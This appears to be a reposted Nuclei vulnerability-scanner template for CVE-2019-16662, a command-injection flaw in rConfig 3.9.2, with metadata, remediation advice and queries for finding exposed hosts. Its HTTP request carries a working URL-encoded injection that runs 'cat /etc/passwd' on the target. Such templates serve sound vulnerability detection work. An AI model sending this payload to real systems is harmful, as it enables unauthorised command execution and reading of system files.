CVE-2019-16662: rConfig 3.9.2 - Remote Code Execution

2025-08-01 rConfig 3.9.2 PoC Public

Description

rConfig 3.9.2 is susceptible to a remote code execution vulnerability. An attacker can directly execute system commands by sending a GET request to ajaxServerSettingsChk.php because the rootUname parameter is passed to the exec function without filtering, which can lead to command execution.

PoC

id: CVE-2019-16662

info:
  name: rConfig 3.9.2 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: rConfig 3.9.2 is susceptible to a remote code execution vulnerability. An attacker can directly execute system commands by sending a GET request to ajaxServerSettingsChk.php because the rootUname parameter is passed to the exec function without filtering, which can lead to command execution.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data theft, and complete compromise of the affected system.
  remediation: |
    Upgrade to a patched version of rConfig (3.9.3 or later) or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16662
    - https://drive.google.com/open?id=1OXI5cNuwWqc6y-7BgNCfYHgFPK2cpvnu
    - http://packetstormsecurity.com/files/154999/rConfig-3.9.2-Remote-Code-Execution.html
    - http://packetstormsecurity.com/files/155186/rConfig-3.9.2-Command-Injection.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-16662
    cwe-id: CWE-78
    epss-score: 0.97702
    epss-percentile: 0.99901
    cpe: cpe:2.3:a:rconfig:rconfig:3.9.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rconfig
    product: rconfig
    shodan-query: http.title:"rconfig"
    fofa-query: title="rconfig"
    google-query: intitle:"rconfig"
  tags: cve2019,cve,intrusive,rconfig,packetstorm,rce,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f5606a0be8a5d8e35526f0eda8fdec6fff1c9352eab1e5939d6ca15b8b6989f6022100fd836c289168df6009edec1ea5d6c57bde8b940d6a2df708434d9dc263a786f0:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-16662.yaml

References

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